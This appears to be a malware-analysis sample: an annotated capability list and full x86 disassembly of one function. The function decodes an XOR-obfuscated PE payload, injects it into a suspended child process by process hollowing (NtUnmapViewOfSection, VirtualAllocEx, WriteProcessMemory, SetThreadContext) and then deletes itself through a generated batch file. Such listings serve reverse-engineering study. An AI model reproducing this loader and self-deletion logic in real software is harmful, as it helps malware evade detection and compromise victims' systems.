Function at 0x401380
Capabilities:
Allocate or change rwx memory
Copy file
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Get common file path
Parse pe header
Self delete
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x41722d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4b4
push ebx
push ebp
push esi
push edi
push 0x48aa94
lea ecx, [esp + 0x14]
call fcn.00410e91
xor esi, esi
push 0x48aa90
lea ecx, [esp + 0x14]
mov dword [esp + 0x4d0], esi
call fcn.0041146b
push 0x48aa8c
lea ecx, [esp + 0x14]
call fcn.0041146b
push 0x48aa88
lea ecx, [esp + 0x14]
call fcn.0041146b
push 0x48aa84
lea ecx, [esp + 0x14]
call fcn.0041146b
push 0x48aa80
lea ecx, [esp + 0x14]
call fcn.0041146b
push 0x48aa7c
lea ecx, [esp + 0x14]
call fcn.0041146b
push 0x48aa78
lea ecx, [esp + 0x14]
call fcn.0041146b
push 0x48aa74
lea ecx, [esp + 0x14]
call fcn.0041146b
push 0x48aa70
lea ecx, [esp + 0x14]
call fcn.0041146b
push 0x48aa6c
lea ecx, [esp + 0x14]
call fcn.0041146b
mov eax, dword [0x48722c]
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x10]
mov byte [esp + 0x4cc], 1
mov ebx, dword [ecx - 8]
mov eax, ebx
cdq
sub eax, edx
sar eax, 1
push eax
call fcn.00411944
add esp, 4
cmp ebx, esi
mov dword [esp + 0x1c], eax
jle 0x4014e0
mov ebp, dword [sym.imp.SHLWAPI.dll_StrToIntExA]
mov edi, eax
push 0x487228
lea ecx, [esp + 0x18]
call fcn.00411259
push 2
lea edx, [esp + 0x28]
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.00410541
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x4d0], 2
call fcn.0041146b
lea ecx, [esp + 0x24]
mov byte [esp + 0x4cc], 1
call fcn.0041111c
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x48]
push eax
push 1
push ecx
call ebp
mov eax, dword [esp + 0x48]
add esi, 2
xor eax, 0x1f
inc edi
mov dword [esp + 0x48], eax
mov byte [edi - 1], al
cmp esi, ebx
jl 0x40147a
push 0x100
push 0x100
lea ecx, [esp + 0x18]
call fcn.00411483
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or ebp, 0xffffffff
lea ecx, [esp + 0x10]
push ebp
call fcn.004114d2
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0xb4]
push str.kernel32.dll
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x401547
lea ecx, [esp + 0x14]
mov byte [esp + 0x4cc], 0
call fcn.0041111c
mov dword [esp + 0x4cc], ebp
jmp 0x40178d
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateProcessA
push esi
call ebx
mov edi, eax
test edi, edi
je 0x40152a
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call ebp
lea edx, [esp + 0x34]
lea eax, [esp + 0xb4]
mov ecx, dword [esp + 0x10]
push edx
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ecx
call edi
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x1f8]
push edx
push eax
mov dword [esp + 0x200], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x4015b4
mov ecx, dword [esp + 0x34]
push 0
push ecx
jmp 0x40176b
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
je 0x4015cb
mov edx, dword [esp + 0x34]
push 0
push edx
jmp 0x40176b
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x401764
add esi, 4
mov dword [esp + 0x24], esi
add esi, 0x14
mov dword [esp + 0x18], esi
cmp word [esi], 0x10b
je 0x4015fd
mov ecx, dword [esp + 0x34]
push 0
push ecx
jmp 0x40176b
push str.Ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
jne 0x401619
mov edx, dword [esp + 0x34]
push eax
push edx
jmp 0x40176b
push str.NtUnmapViewOfSection
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x401764
push edi
call ebp
mov ecx, dword [esi + 0x1c]
mov edx, dword [esp + 0x34]
push ecx
push edx
call ebx
test eax, eax
jl 0x401764
mov ecx, dword [esi + 0x38]
mov edx, dword [esi + 0x1c]
mov eax, dword [esp + 0x34]
push 0x40
push 0x3000
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
push 0
test edi, edi
jne 0x40166d
mov ecx, dword [esp + 0x38]
push ecx
jmp 0x40176b
mov edx, dword [esi + 0x3c]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x38]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edx
push eax
push edi
push ecx
call ebp
test eax, eax
jne 0x401693
mov edx, dword [esp + 0x34]
push eax
push edx
jmp 0x40176b
mov eax, dword [esp + 0x24]
mov ebx, 1
add esi, 0xe0
cmp word [eax + 2], bx
jb 0x4016e5
add esi, 0x10
mov ecx, dword [esi + 4]
mov edx, dword [esp + 0x1c]
mov eax, dword [esi - 4]
add ecx, edx
mov edx, dword [esi]
add eax, edi
test edx, edx
je 0x4016d3
push 0
push edx
push ecx
mov ecx, dword [esp + 0x40]
push eax
push ecx
call ebp
test eax, eax
je 0x4015a8
mov eax, dword [esp + 0x24]
xor edx, edx
add esi, 0x28
inc ebx
mov dx, word [eax + 2]
cmp ebx, edx
jle 0x4016ab
mov edx, dword [esp + 0x18]
push str.kernel32.dll
mov eax, dword [edx + 0x10]
add eax, edi
mov dword [esp + 0x2ac], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x40170e
mov ecx, dword [esp + 0x34]
push eax
push ecx
jmp 0x40176b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SetThreadContext
push esi
call edi
test eax, eax
jne 0x401728
mov edx, dword [esp + 0x34]
push eax
push edx
jmp 0x40176b
mov edx, dword [esp + 0x38]
lea ecx, [esp + 0x1f8]
push ecx
push edx
call eax
test eax, eax
je 0x401764
push str.ResumeThread
push esi
call edi
mov edi, eax
test edi, edi
jne 0x401751
mov ecx, dword [esp + 0x34]
push eax
push ecx
jmp 0x40176b
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [esp + 0x38]
push edx
call edi
cmp eax, 0xffffffff
jne 0x4017b1
mov eax, dword [esp + 0x34]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 0x14]
mov byte [esp + 0x4cc], 0
call fcn.0041111c
mov dword [esp + 0x4cc], 0xffffffff
lea ecx, [esp + 0x10]
call fcn.0041111c
mov ecx, dword [esp + 0x4c4]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x4c0
ret
mov ecx, dword [esp + 0x34]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call fcn.00402667
push eax
call fcn.00402638
mov eax, dword [0x48722c]
add esp, 8
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x30], eax
mov bl, 5
push 0x104
push 0x104
lea ecx, [esp + 0x30]
mov byte [esp + 0x4d4], bl
call fcn.00411483
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x2c]
call fcn.004114d2
mov esi, dword [esp + 0x30]
push 0x104
push 0x104
lea ecx, [esp + 0x38]
call fcn.00411483
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x34]
call fcn.004114d2
push 0x5c
lea ecx, [esp + 0x2c]
call fcn.0041064f
inc eax
lea edx, [esp + 0x18]
push eax
push edx
lea ecx, [esp + 0x30]
call fcn.004105d7
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x4d0], 6
call fcn.00411209
lea ecx, [esp + 0x18]
mov byte [esp + 0x4cc], bl
call fcn.0041111c
push 0x5c
lea ecx, [esp + 0x2c]
call fcn.0041064f
inc eax
lea ecx, [esp + 0x28]
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.0041051e
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x4d0], 7
call fcn.00411209
lea ecx, [esp + 0x18]
mov byte [esp + 0x4cc], bl
call fcn.0041111c
push 0x104
lea ecx, [esp + 0x24]
call fcn.00411483
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x24]
call fcn.004114d2
mov edi, dword [esp + 0x20]
push 0x104
push 0x104
lea ecx, [esp + 0x28]
call fcn.00411483
push eax
push edi
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x24]
call fcn.004114d2
lea ecx, [esp + 0x20]
push str.jnduf.tmp
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.00411324
mov esi, dword [eax]
lea eax, [esp + 0x28]
lea ecx, [esp + 0x30]
push eax
lea edx, [esp + 0x1c]
push ecx
push edx
mov byte [esp + 0x4d8], 8
call fcn.004112be
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x18]
call fcn.0041111c
lea ecx, [esp + 0x24]
mov byte [esp + 0x4cc], bl
call fcn.0041111c
lea ecx, [esp + 0x4c]
call fcn.0041151a
lea eax, [esp + 0x20]
push str.jnduf.bat
lea ecx, [esp + 0x1c]
mov bl, 9
push eax
push ecx
mov byte [esp + 0x4d8], bl
call fcn.00411324
mov eax, dword [eax]
push 0
push 0x1002
push eax
lea ecx, [esp + 0x58]
mov byte [esp + 0x4d8], 0xa
call fcn.0041158f
lea ecx, [esp + 0x18]
mov esi, eax
mov byte [esp + 0x4cc], bl
call fcn.0041111c
test esi, esi
je 0x401b9e
push str._echo_off_n
lea ecx, [esp + 0x50]
call fcn.00411702
lea edx, [esp + 0x30]
lea eax, [esp + 0x1c]
push edx
push str.del__f__q
push eax
call fcn.00411398
lea ecx, [esp + 0x28]
lea edx, [esp + 0x24]
push ecx
push eax
push edx
mov byte [esp + 0x4d8], 0xb
call fcn.004112be
push 0x48718c
push eax
lea eax, [esp + 0x20]
mov byte [esp + 0x4d4], 0xc
push eax
call fcn.00411324
mov eax, dword [eax]
lea ecx, [esp + 0x4c]
push eax
mov byte [esp + 0x4d0], 0xd
call fcn.00411702
lea ecx, [esp + 0x18]
mov byte [esp + 0x4cc], 0xc
call fcn.0041111c
lea ecx, [esp + 0x24]
mov byte [esp + 0x4cc], 0xb
call fcn.0041111c
lea ecx, [esp + 0x1c]
mov byte [esp + 0x4cc], bl
call fcn.0041111c
lea ecx, [esp + 0x20]
lea edx, [esp + 0x2c]
push ecx
push str.copy
push edx
call fcn.00411398
push 0x487178
push eax
lea eax, [esp + 0x4c]
mov byte [esp + 0x4d4], 0xe
push eax
call fcn.00411324
lea ecx, [esp + 0x30]
lea edx, [esp + 0x1c]
push ecx
push eax
push edx
mov byte [esp + 0x4d8], 0xf
call fcn.004112be
lea ecx, [esp + 0x28]
lea edx, [esp + 0x24]
push ecx
push eax
push edx
mov byte [esp + 0x4d8], 0x10
call fcn.004112be
push 0x48718c
push eax
lea eax, [esp + 0x20]
mov byte [esp + 0x4d4], 0x11
push eax
call fcn.00411324
mov eax, dword [eax]
lea ecx, [esp + 0x4c]
push eax
mov byte [esp + 0x4d0], 0x12
call fcn.00411702
lea ecx, [esp + 0x18]
mov byte [esp + 0x4cc], 0x11
call fcn.0041111c
lea ecx, [esp + 0x24]
mov byte [esp + 0x4cc], 0x10
call fcn.0041111c
lea ecx, [esp + 0x1c]
mov byte [esp + 0x4cc], 0xf
call fcn.0041111c
lea ecx, [esp + 0x44]
mov byte [esp + 0x4cc], 0xe
call fcn.0041111c
lea ecx, [esp + 0x2c]
mov byte [esp + 0x4cc], bl
call fcn.0041111c
lea ecx, [esp + 0x20]
lea edx, [esp + 0x44]
push ecx
push str.del__f__q
push edx
call fcn.00411398
push str.jnduf.tmp_n
push eax
lea eax, [esp + 0x34]
mov byte [esp + 0x4d4], 0x13
push eax
call fcn.00411324
mov eax, dword [eax]
lea ecx, [esp + 0x4c]
push eax
mov byte [esp + 0x4d0], 0x14
call fcn.00411702
lea ecx, [esp + 0x2c]
mov byte [esp + 0x4cc], 0x13
call fcn.0041111c
lea ecx, [esp + 0x44]
mov byte [esp + 0x4cc], bl
call fcn.0041111c
push str.del__0
lea ecx, [esp + 0x50]
call fcn.00411702
lea ecx, [esp + 0x4c]
call fcn.004118bf
lea ecx, [esp + 0x20]
push str.jnduf.tmp
lea edx, [esp + 0x30]
push ecx
push edx
call fcn.00411324
mov eax, dword [eax]
push 0
push 2
push eax
lea ecx, [esp + 0x58]
mov byte [esp + 0x4d8], 0x15
call fcn.0041158f
lea ecx, [esp + 0x2c]
mov esi, eax
mov byte [esp + 0x4cc], bl
call fcn.0041111c
test esi, esi
je 0x401cea
push 2
push 0xfffffffffffffff0
lea ecx, [esp + 0x54]
call fcn.00411835
mov eax, dword [0x48722c]
mov dword [esp + 0x1c], eax
mov byte [esp + 0x4cc], 0x16
call fcn.00402645
push eax
call fcn.00402645
push eax
call fcn.00402645
push eax
call fcn.00402645
push eax
lea ecx, [esp + 0x2c]
push str._d_d_d_d
push ecx
call fcn.004109be
mov eax, dword [esp + 0x34]
add esp, 0x18
mov ecx, dword [eax - 8]
push ecx
push eax
lea ecx, [esp + 0x54]
call fcn.004116cf
lea ecx, [esp + 0x4c]
call fcn.004118bf
lea edx, [esp + 0x20]
push str.jnduf.bat
lea eax, [esp + 0x30]
push edx
push eax
call fcn.00411324
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xf8]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x2c]
call fcn.0041111c
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x60]
lea edx, [esp + 0x60]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xa4]
mov word [esp + 0x90], ax
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x118]
mov dword [esp + 0x80], 0x44
push eax
push 0
mov dword [esp + 0xb4], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea ecx, [esp + 0x1c]
mov byte [esp + 0x4cc], bl
call fcn.0041111c
push 0
call fcn.00402545
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov cl, byte [0x48d274]
mov al, 1
test al, cl
jne 0x401d14
or cl, al
mov byte [0x48d274], cl
jmp 0x401d20
push 0x401030
call fcn.004024d7
pop ecx
ret